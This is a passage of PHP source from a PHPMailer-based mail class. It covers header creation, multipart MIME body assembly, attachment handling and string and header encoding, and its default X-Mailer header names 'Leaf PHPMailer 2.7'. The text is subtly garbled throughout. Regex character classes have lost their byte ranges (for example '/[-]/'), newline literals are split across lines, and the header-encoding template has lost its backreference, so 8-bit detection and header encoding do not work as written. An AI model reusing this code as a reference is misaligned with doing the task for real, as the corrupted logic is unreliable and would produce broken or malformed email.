  1757. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1758. break;
  1759. }
  1760. }
  1761. /**
  1762. * Assemble message headers.
  1763. * @access public
  1764. * @return string The assembled headers
  1765. */
  1766. public function createHeader() {
  1767. $result = '';
  1768. if ($this->MessageDate == '') {
  1769. $this->MessageDate = self::rfcDate();
  1770. }
  1771. $result.= $this->headerLine('Date', $this->MessageDate);
  1772. // To be created automatically by mail()
  1773. if ($this->SingleTo) {
  1774. if ($this->Mailer != 'mail') {
  1775. foreach ($this->to as $toaddr) {
  1776. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1777. }
  1778. }
  1779. } else {
  1780. if (count($this->to) > 0) {
  1781. if ($this->Mailer != 'mail') {
  1782. $result.= $this->addrAppend('To', $this->to);
  1783. }
  1784. } elseif (count($this->cc) == 0) {
  1785. $result.= $this->headerLine('To', 'undisclosed-recipients:;');
  1786. }
  1787. }
  1788. $result.= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1789. // sendmail and mail() extract Cc from the header before sending
  1790. if (count($this->cc) > 0) {
  1791. $result.= $this->addrAppend('Cc', $this->cc);
  1792. }
  1793. // sendmail and mail() extract Bcc from the header before sending
  1794. if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  1795. $result.= $this->addrAppend('Bcc', $this->bcc);
  1796. }
  1797. if (count($this->ReplyTo) > 0) {
  1798. $result.= $this->addrAppend('Reply-To', $this->ReplyTo);
  1799. }
  1800. // mail() sets the subject itself
  1801. if ($this->Mailer != 'mail') {
  1802. $result.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1803. }
  1804. if ($this->MessageID != '') {
  1805. $this->lastMessageID = $this->MessageID;
  1806. } else {
  1807. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  1808. }
  1809. $result.= $this->headerLine('Message-ID', $this->lastMessageID);
  1810. if (!is_null($this->Priority)) {
  1811. $result.= $this->headerLine('X-Priority', $this->Priority);
  1812. }
  1813. if ($this->XMailer == '') {
  1814. $result.= $this->headerLine('X-Mailer', 'Leaf PHPMailer 2.7 (leafmailer.pw)');
  1815. } else {
  1816. $myXmailer = trim($this->XMailer);
  1817. if ($myXmailer) {
  1818. $result.= $this->headerLine('X-Mailer', $myXmailer);
  1819. }
  1820. }
  1821. if ($this->ConfirmReadingTo != '') {
  1822. $result.= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  1823. }
  1824. // Add custom headers
  1825. foreach ($this->CustomHeader as $header) {
  1826. $result.= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1])));
  1827. }
  1828. if (!$this->sign_key_file) {
  1829. $result.= $this->headerLine('MIME-Version', '1.0');
  1830. $result.= $this->getMailMIME();
  1831. }
  1832. return $result;
  1833. }
  1834. /**
  1835. * Get the message MIME type headers.
  1836. * @access public
  1837. * @return string
  1838. */
  1839. public function getMailMIME() {
  1840. $result = '';
  1841. $ismultipart = true;
  1842. switch ($this->message_type) {
  1843. case 'inline':
  1844. $result.= $this->headerLine('Content-Type', 'multipart/related;');
  1845. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1846. break;
  1847. case 'attach':
  1848. case 'inline_attach':
  1849. case 'alt_attach':
  1850. case 'alt_inline_attach':
  1851. $result.= $this->headerLine('Content-Type', 'multipart/mixed;');
  1852. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1853. break;
  1854. case 'alt':
  1855. case 'alt_inline':
  1856. $result.= $this->headerLine('Content-Type', 'multipart/alternative;');
  1857. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1858. break;
  1859. default:
  1860. // Catches case 'plain': and case '':
  1861. $result.= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1862. $ismultipart = false;
  1863. break;
  1864. }
  1865. // RFC1341 part 5 says 7bit is assumed if not specified
  1866. if ($this->Encoding != '7bit') {
  1867. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1868. if ($ismultipart) {
  1869. if ($this->Encoding == '8bit') {
  1870. $result.= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1871. }
  1872. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1873. } else {
  1874. $result.= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1875. }
  1876. }
  1877. if ($this->Mailer != 'mail') {
  1878. $result.= $this->LE;
  1879. }
  1880. return $result;
  1881. }
  1882. /**
  1883. * Returns the whole MIME message.
  1884. * Includes complete headers and body.
  1885. * Only valid post preSend().
  1886. * @see PHPMailer::preSend()
  1887. * @access public
  1888. * @return string
  1889. */
  1890. public function getSentMIMEMessage() {
  1891. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1892. }
  1893. /**
  1894. * Assemble the message body.
  1895. * Returns an empty string on failure.
  1896. * @access public
  1897. * @throws phpmailerException
  1898. * @return string The assembled message body
  1899. */
  1900. public function createBody() {
  1901. $body = '';
  1902. //Create unique IDs and preset boundaries
  1903. $this->uniqueid = md5(uniqid(time()));
  1904. $this->boundary[1] = 'b1_' . $this->uniqueid;
  1905. $this->boundary[2] = 'b2_' . $this->uniqueid;
  1906. $this->boundary[3] = 'b3_' . $this->uniqueid;
  1907. if ($this->sign_key_file) {
  1908. $body.= $this->getMailMIME() . $this->LE;
  1909. }
  1910. $this->setWordWrap();
  1911. $bodyEncoding = $this->Encoding;
  1912. $bodyCharSet = $this->CharSet;
  1913. //Can we do a 7-bit downgrade?
  1914. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1915. $bodyEncoding = '7bit';
  1916. $bodyCharSet = 'us-ascii';
  1917. }
  1918. //If lines are too long, and we're not already using an encoding that will shorten them,
  1919. //change to quoted-printable transfer encoding
  1920. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  1921. $this->Encoding = 'quoted-printable';
  1922. $bodyEncoding = 'quoted-printable';
  1923. }
  1924. $altBodyEncoding = $this->Encoding;
  1925. $altBodyCharSet = $this->CharSet;
  1926. //Can we do a 7-bit downgrade?
  1927. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1928. $altBodyEncoding = '7bit';
  1929. $altBodyCharSet = 'us-ascii';
  1930. }
  1931. //If lines are too long, and we're not already using an encoding that will shorten them,
  1932. //change to quoted-printable transfer encoding
  1933. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  1934. $altBodyEncoding = 'quoted-printable';
  1935. }
  1936. //Use this as a preamble in all multipart message types
  1937. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  1938. switch ($this->message_type) {
  1939. case 'inline':
  1940. $body.= $mimepre;
  1941. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1942. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1943. $body.= $this->LE . $this->LE;
  1944. $body.= $this->attachAll('inline', $this->boundary[1]);
  1945. break;
  1946. case 'attach':
  1947. $body.= $mimepre;
  1948. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1949. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1950. $body.= $this->LE . $this->LE;
  1951. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1952. break;
  1953. case 'inline_attach':
  1954. $body.= $mimepre;
  1955. $body.= $this->textLine('--' . $this->boundary[1]);
  1956. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1957. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1958. $body.= $this->LE;
  1959. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1960. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1961. $body.= $this->LE . $this->LE;
  1962. $body.= $this->attachAll('inline', $this->boundary[2]);
  1963. $body.= $this->LE;
  1964. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1965. break;
  1966. case 'alt':
  1967. $body.= $mimepre;
  1968. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1969. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1970. $body.= $this->LE . $this->LE;
  1971. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1972. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1973. $body.= $this->LE . $this->LE;
  1974. if (!empty($this->Ical)) {
  1975. $body.= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1976. $body.= $this->encodeString($this->Ical, $this->Encoding);
  1977. $body.= $this->LE . $this->LE;
  1978. }
  1979. $body.= $this->endBoundary($this->boundary[1]);
  1980. break;
  1981. case 'alt_inline':
  1982. $body.= $mimepre;
  1983. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1984. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1985. $body.= $this->LE . $this->LE;
  1986. $body.= $this->textLine('--' . $this->boundary[1]);
  1987. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1988. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1989. $body.= $this->LE;
  1990. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1991. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1992. $body.= $this->LE . $this->LE;
  1993. $body.= $this->attachAll('inline', $this->boundary[2]);
  1994. $body.= $this->LE;
  1995. $body.= $this->endBoundary($this->boundary[1]);
  1996. break;
  1997. case 'alt_attach':
  1998. $body.= $mimepre;
  1999. $body.= $this->textLine('--' . $this->boundary[1]);
  2000. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  2001. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  2002. $body.= $this->LE;
  2003. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2004. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  2005. $body.= $this->LE . $this->LE;
  2006. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2007. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2008. $body.= $this->LE . $this->LE;
  2009. $body.= $this->endBoundary($this->boundary[2]);
  2010. $body.= $this->LE;
  2011. $body.= $this->attachAll('attachment', $this->boundary[1]);
  2012. break;
  2013. case 'alt_inline_attach':
  2014. $body.= $mimepre;
  2015. $body.= $this->textLine('--' . $this->boundary[1]);
  2016. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  2017. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  2018. $body.= $this->LE;
  2019. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2020. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  2021. $body.= $this->LE . $this->LE;
  2022. $body.= $this->textLine('--' . $this->boundary[2]);
  2023. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  2024. $body.= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
  2025. $body.= $this->LE;
  2026. $body.= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2027. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2028. $body.= $this->LE . $this->LE;
  2029. $body.= $this->attachAll('inline', $this->boundary[3]);
  2030. $body.= $this->LE;
  2031. $body.= $this->endBoundary($this->boundary[2]);
  2032. $body.= $this->LE;
  2033. $body.= $this->attachAll('attachment', $this->boundary[1]);
  2034. break;
  2035. default:
  2036. // catch case 'plain' and case ''
  2037. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2038. break;
  2039. }
  2040. if ($this->isError()) {
  2041. $body = '';
  2042. } elseif ($this->sign_key_file) {
  2043. try {
  2044. if (!defined('PKCS7_TEXT')) {
  2045. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2046. }
  2047. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2048. $file = tempnam(sys_get_temp_dir(), 'mail');
  2049. if (false === file_put_contents($file, $body)) {
  2050. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2051. }
  2052. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2053. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2054. if (empty($this->sign_extracerts_file)) {
  2055. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null);
  2056. } else {
  2057. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file);
  2058. }
  2059. if ($sign) {
  2060. @unlink($file);
  2061. $body = file_get_contents($signed);
  2062. @unlink($signed);
  2063. //The message returned by openssl contains both headers and body, so need to split them up
  2064. $parts = explode("
  2065. ", $body, 2);
  2066. $this->MIMEHeader.= $parts[0] . $this->LE . $this->LE;
  2067. $body = $parts[1];
  2068. } else {
  2069. @unlink($file);
  2070. @unlink($signed);
  2071. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2072. }
  2073. }
  2074. catch(phpmailerException $exc) {
  2075. $body = '';
  2076. if ($this->exceptions) {
  2077. throw $exc;
  2078. }
  2079. }
  2080. }
  2081. return $body;
  2082. }
  2083. /**
  2084. * Return the start of a message boundary.
  2085. * @access protected
  2086. * @param string $boundary
  2087. * @param string $charSet
  2088. * @param string $contentType
  2089. * @param string $encoding
  2090. * @return string
  2091. */
  2092. protected function getBoundary($boundary, $charSet, $contentType, $encoding) {
  2093. $result = '';
  2094. if ($charSet == '') {
  2095. $charSet = $this->CharSet;
  2096. }
  2097. if ($contentType == '') {
  2098. $contentType = $this->ContentType;
  2099. }
  2100. if ($encoding == '') {
  2101. $encoding = $this->Encoding;
  2102. }
  2103. $result.= $this->textLine('--' . $boundary);
  2104. $result.= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2105. $result.= $this->LE;
  2106. // RFC1341 part 5 says 7bit is assumed if not specified
  2107. if ($encoding != '7bit') {
  2108. $result.= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2109. }
  2110. $result.= $this->LE;
  2111. return $result;
  2112. }
  2113. /**
  2114. * Return the end of a message boundary.
  2115. * @access protected
  2116. * @param string $boundary
  2117. * @return string
  2118. */
  2119. protected function endBoundary($boundary) {
  2120. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2121. }
  2122. /**
  2123. * Set the message type.
  2124. * PHPMailer only supports some preset message types,
  2125. * not arbitrary MIME structures.
  2126. * @access protected
  2127. * @return void
  2128. */
  2129. protected function setMessageType() {
  2130. $type = array();
  2131. if ($this->alternativeExists()) {
  2132. $type[] = 'alt';
  2133. }
  2134. if ($this->inlineImageExists()) {
  2135. $type[] = 'inline';
  2136. }
  2137. if ($this->attachmentExists()) {
  2138. $type[] = 'attach';
  2139. }
  2140. $this->message_type = implode('_', $type);
  2141. if ($this->message_type == '') {
  2142. $this->message_type = 'plain';
  2143. }
  2144. }
  2145. /**
  2146. * Format a header line.
  2147. * @access public
  2148. * @param string $name
  2149. * @param string $value
  2150. * @return string
  2151. */
  2152. public function headerLine($name, $value) {
  2153. return $name . ': ' . $value . $this->LE;
  2154. }
  2155. /**
  2156. * Return a formatted mail line.
  2157. * @access public
  2158. * @param string $value
  2159. * @return string
  2160. */
  2161. public function textLine($value) {
  2162. return $value . $this->LE;
  2163. }
  2164. /**
  2165. * Add an attachment from a path on the filesystem.
  2166. * Returns false if the file could not be found or read.
  2167. * @param string $path Path to the attachment.
  2168. * @param string $name Overrides the attachment name.
  2169. * @param string $encoding File encoding (see $Encoding).
  2170. * @param string $type File extension (MIME) type.
  2171. * @param string $disposition Disposition to use
  2172. * @throws phpmailerException
  2173. * @return boolean
  2174. */
  2175. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2176. try {
  2177. if (!@is_file($path)) {
  2178. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2179. }
  2180. // If a MIME type is not specified, try to work it out from the file name
  2181. if ($type == '') {
  2182. $type = self::filenameToType($path);
  2183. }
  2184. $filename = basename($path);
  2185. if ($name == '') {
  2186. $name = $filename;
  2187. }
  2188. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2189. 6 => $disposition, 7 => 0);
  2190. }
  2191. catch(phpmailerException $exc) {
  2192. $this->setError($exc->getMessage());
  2193. $this->edebug($exc->getMessage());
  2194. if ($this->exceptions) {
  2195. throw $exc;
  2196. }
  2197. return false;
  2198. }
  2199. return true;
  2200. }
  2201. /**
  2202. * Return the array of attachments.
  2203. * @return array
  2204. */
  2205. public function getAttachments() {
  2206. return $this->attachment;
  2207. }
  2208. /**
  2209. * Attach all file, string, and binary attachments to the message.
  2210. * Returns an empty string on failure.
  2211. * @access protected
  2212. * @param string $disposition_type
  2213. * @param string $boundary
  2214. * @return string
  2215. */
  2216. protected function attachAll($disposition_type, $boundary) {
  2217. // Return text of body
  2218. $mime = array();
  2219. $cidUniq = array();
  2220. $incl = array();
  2221. // Add all attachments
  2222. foreach ($this->attachment as $attachment) {
  2223. // Check if it is a valid disposition_filter
  2224. if ($attachment[6] == $disposition_type) {
  2225. // Check for string attachment
  2226. $string = '';
  2227. $path = '';
  2228. $bString = $attachment[5];
  2229. if ($bString) {
  2230. $string = $attachment[0];
  2231. } else {
  2232. $path = $attachment[0];
  2233. }
  2234. $inclhash = md5(serialize($attachment));
  2235. if (in_array($inclhash, $incl)) {
  2236. continue;
  2237. }
  2238. $incl[] = $inclhash;
  2239. $name = $attachment[2];
  2240. $encoding = $attachment[3];
  2241. $type = $attachment[4];
  2242. $disposition = $attachment[6];
  2243. $cid = $attachment[7];
  2244. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2245. continue;
  2246. }
  2247. $cidUniq[$cid] = true;
  2248. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2249. //Only include a filename property if we have one
  2250. if (!empty($name)) {
  2251. $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  2252. } else {
  2253. $mime[] = sprintf('Content-Type: %s%s', $type, $this->LE);
  2254. }
  2255. // RFC1341 part 5 says 7bit is assumed if not specified
  2256. if ($encoding != '7bit') {
  2257. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2258. }
  2259. if ($disposition == 'inline') {
  2260. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2261. }
  2262. // If a filename contains any of these chars, it should be quoted,
  2263. // but not otherwise: RFC2183 & RFC2045 5.1
  2264. // Fixes a warning in IETF's msglint MIME checker
  2265. // Allow for bypassing the Content-Disposition header totally
  2266. if (!(empty($disposition))) {
  2267. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2268. if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
  2269. $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2270. } else {
  2271. if (!empty($encoded_name)) {
  2272. $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2273. } else {
  2274. $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->LE . $this->LE);
  2275. }
  2276. }
  2277. } else {
  2278. $mime[] = $this->LE;
  2279. }
  2280. // Encode as string attachment
  2281. if ($bString) {
  2282. $mime[] = $this->encodeString($string, $encoding);
  2283. if ($this->isError()) {
  2284. return '';
  2285. }
  2286. $mime[] = $this->LE . $this->LE;
  2287. } else {
  2288. $mime[] = $this->encodeFile($path, $encoding);
  2289. if ($this->isError()) {
  2290. return '';
  2291. }
  2292. $mime[] = $this->LE . $this->LE;
  2293. }
  2294. }
  2295. }
  2296. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2297. return implode('', $mime);
  2298. }
  2299. /**
  2300. * Encode a file attachment in requested format.
  2301. * Returns an empty string on failure.
  2302. * @param string $path The full path to the file
  2303. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2304. * @throws phpmailerException
  2305. * @access protected
  2306. * @return string
  2307. */
  2308. protected function encodeFile($path, $encoding = 'base64') {
  2309. try {
  2310. if (!is_readable($path)) {
  2311. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2312. }
  2313. $magic_quotes = get_magic_quotes_runtime();
  2314. if ($magic_quotes) {
  2315. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2316. set_magic_quotes_runtime(false);
  2317. } else {
  2318. //Doesn't exist in PHP 5.4, but we don't need to check because
  2319. //get_magic_quotes_runtime always returns false in 5.4+
  2320. //so it will never get here
  2321. ini_set('magic_quotes_runtime', false);
  2322. }
  2323. }
  2324. $file_buffer = file_get_contents($path);
  2325. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2326. if ($magic_quotes) {
  2327. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2328. set_magic_quotes_runtime($magic_quotes);
  2329. } else {
  2330. ini_set('magic_quotes_runtime', $magic_quotes);
  2331. }
  2332. }
  2333. return $file_buffer;
  2334. }
  2335. catch(Exception $exc) {
  2336. $this->setError($exc->getMessage());
  2337. return '';
  2338. }
  2339. }
  2340. /**
  2341. * Encode a string in requested format.
  2342. * Returns an empty string on failure.
  2343. * @param string $str The text to encode
  2344. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2345. * @access public
  2346. * @return string
  2347. */
  2348. public function encodeString($str, $encoding = 'base64') {
  2349. $encoded = '';
  2350. switch (strtolower($encoding)) {
  2351. case 'base64':
  2352. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2353. break;
  2354. case '7bit':
  2355. case '8bit':
  2356. $encoded = $this->fixEOL($str);
  2357. // Make sure it ends with a line break
  2358. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2359. $encoded.= $this->LE;
  2360. }
  2361. break;
  2362. case 'binary':
  2363. $encoded = $str;
  2364. break;
  2365. case 'quoted-printable':
  2366. $encoded = $this->encodeQP($str);
  2367. break;
  2368. default:
  2369. $this->setError($this->lang('encoding') . $encoding);
  2370. break;
  2371. }
  2372. return $encoded;
  2373. }
  2374. /**
  2375. * Encode a header string optimally.
  2376. * Picks shortest of Q, B, quoted-printable or none.
  2377. * @access public
  2378. * @param string $str
  2379. * @param string $position
  2380. * @return string
  2381. */
  2382. public function encodeHeader($str, $position = 'text') {
  2383. $matchcount = 0;
  2384. switch (strtolower($position)) {
  2385. case 'phrase':
  2386. if (!preg_match('/[-]/', $str)) {
  2387. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2388. $encoded = addcslashes($str, "..\"");
  2389. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2390. return ($encoded);
  2391. } else {
  2392. return ("\"$encoded\"");
  2393. }
  2394. }
  2395. $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
  2396. break;
  2397. /** @noinspection PhpMissingBreakStatementInspection */
  2398. case 'comment':
  2399. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2400. // Intentional fall-through
  2401. case 'text':
  2402. default:
  2403. $matchcount+= preg_match_all('/[- --]/', $str, $matches);
  2404. break;
  2405. }
  2406. //There are no chars that need encoding
  2407. if ($matchcount == 0) {
  2408. return ($str);
  2409. }
  2410. $maxlen = 75 - 7 - strlen($this->CharSet);
  2411. // Try to select the encoding which should produce the shortest output
  2412. if ($matchcount > strlen($str) / 3) {
  2413. // More than a third of the content will need encoding, so B encoding will be most efficient
  2414. $encoding = 'B';
  2415. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2416. // Use a custom function which correctly encodes and wraps long $subject
  2417. // multibyte strings without breaking lines within a character
  2418. $encoded = $this->base64EncodeWrapMB($str, "
  2419. ");
  2420. } else {
  2421. $encoded = base64_encode($str);
  2422. $maxlen-= $maxlen % 4;
  2423. $encoded = trim(chunk_split($encoded, $maxlen, "
  2424. "));
  2425. }
  2426. } else {
  2427. $encoding = 'Q';
  2428. $encoded = $this->encodeQ($str, $position);
  2429. $encoded = $this->wrapText($encoded, $maxlen, true);
  2430. $encoded = str_replace('=' . self::CRLF, "
  2431. ", trim($encoded));
  2432. }
  2433. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
  2434. $encoded = trim(str_replace("
  2435. ", $this->LE, $encoded));
  2436. return $encoded;
  2437. }
  2438. /**
  2439. * Check if a string contains multi-byte characters.
  2440. * @access public subject
  2441. * @param string $str multi-byte text to wrap encode
  2442. * @return boolean
  2443. */
  2444. public function hasMultiBytes($str) {
  2445. if (function_exists('mb_strlen')) {
  2446. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2447. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2448. return false;
  2449. }
  2450. }
  2451. /**
  2452. * Does a string contain any 8-bit chars (in any charset)?
  2453. * @param string $text
  2454. * @return boolean
  2455. */
  2456. public function has8bitChars($text) {
  2457. return (boolean)preg_match('/[-]/', $text);
  2458. }
  2459. /**
  2460. * Encode and wrap long multibyte strings for mail headers
  2461. * without breaking lines within a character.
  2462. * Adapted from a function by paravoid
  2463. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2464. * @access public
  2465. * @param string $str multi-byte text to wrap encode
  2466. * @param string $linebreak string to use as linefeed/end-of-line
  2467. * @return string
  2468. */
  2469. public function base64EncodeWrapMB($str, $linebreak = null) {
  2470. $start = '=?' . $this->CharSet . '?B?';
  2471. $end = '?=';
  2472. $encoded = '';
  2473. if ($linebreak === null) {
  2474. $linebreak = $this->LE;
  2475. }
  2476. $mb_length = mb_strlen($str, $this->CharSet);
  2477. // Each line must have length <= 75, including $start and $end
  2478. $length = 75 - strlen($start) - strlen($end);
  2479. // Average multi-byte ratio
  2480. $ratio = $mb_length / strlen($str);
  2481. // Base64 has a 4:3 ratio
  2482. $avgLength = floor($length * $ratio * .75);
  2483. for ($i = 0;$i < $mb_length;$i+= $offset) {
  2484. $lookBack = 0;
  2485. do {
  2486. $offset = $avgLength - $lookBack;
  2487. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2488. $chunk = base64_encode($chunk);
  2489. $lookBack++;
  2490. } while (strlen($chunk) > $length);
  2491. $encoded.= $chunk . $linebreak;
  2492. }
  2493. // Chomp the last linefeed
  2494. $encoded = substr($encoded, 0, -strlen($linebreak));
  2495. return $encoded;
  2496. }
  2497. /**
  2498. * Encode a string in quoted-printable format.
  2499. * According to RFC2045 section 6.7.
  2500. * @access public
  2501. * @param string $string The text to encode
  2502. * @param integer $line_max Number of chars allowed on a line before wrapping
  2503. * @return string
  2504. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2505. */
  2506. public function encodeQP($string, $line_max = 76) {
  2507. // Use native function if it's available (>= PHP5.3)
  2508. if (function_exists('quoted_printable_encode')) {
  2509. return quoted_printable_encode($string);
  2510. }
  2511. // Fall back to a pure PHP implementation
  2512. $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
  2513. =2E", "
  2514. ", '='), rawurlencode($string));
  2515. return preg_replace('/[^
  2516. ]{' . ($line_max - 3) . '}[^=
  2517. ]{2}/', "$0=
  2518. ", $string);
  2519. }
  2520. /**
  2521. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2522. * @see PHPMailer::encodeQP()
  2523. * @access public
  2524. * @param string $string
  2525. * @param integer $line_max
  2526. * @param boolean $space_conv
  2527. * @return string
  2528. * @deprecated Use encodeQP instead.
  2529. */
  2530. public function encodeQPphp($string, $line_max = 76,
  2531. /** @noinspection PhpUnusedParameterInspection */
  2532. $space_conv = false) {
  2533. return $this->encodeQP($string, $line_max);
  2534. }
  2535. /**
  2536. * Encode a string using Q encoding.
  2537. * @link http://tools.ietf.org/html/rfc2047
  2538. * @param string $str the text to encode
  2539. * @param string $position Where the text is going to be used, see the RFC for what that means
  2540. * @access public
  2541. * @return string
  2542. */
  2543. public function encodeQ($str, $position = 'text') {
  2544. // There should not be any EOL in the string
  2545. $pattern = '';
  2546. $encoded = str_replace(array("
  2547. ", "
  2548. "), '', $str);
  2549. switch (strtolower($position)) {
  2550. case 'phrase':
  2551. // RFC 2047 section 5.3
  2552. $pattern = '^A-Za-z0-9!*+\/ -';
  2553. break;
  2554. /** @noinspection PhpMissingBreakStatementInspection */
  2555. case 'comment':
  2556. // RFC 2047 section 5.2
  2557. $pattern = '\(\)"';
  2558. // intentional fall-through
  2559. // for this reason we build the $pattern without including delimiters and []
  2560. case 'text':
  2561. default:
  2562. // RFC 2047 section 5.1
  2563. // Replace every high ascii, control, =, ? and _ characters
  2564. $pattern = '- -=?_-' . $pattern;
  2565. break;
  2566. }
  2567. $matches = array();
  2568. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2569. // If the string contains an '=', make sure it's the first thing we replace
  2570. // so as to avoid double-encoding
  2571. $eqkey = array_search('=', $matches[0]);
  2572. if (false !== $eqkey) {
  2573. unset($matches[0][$eqkey]);
  2574. array_unshift($matches[0], '=');
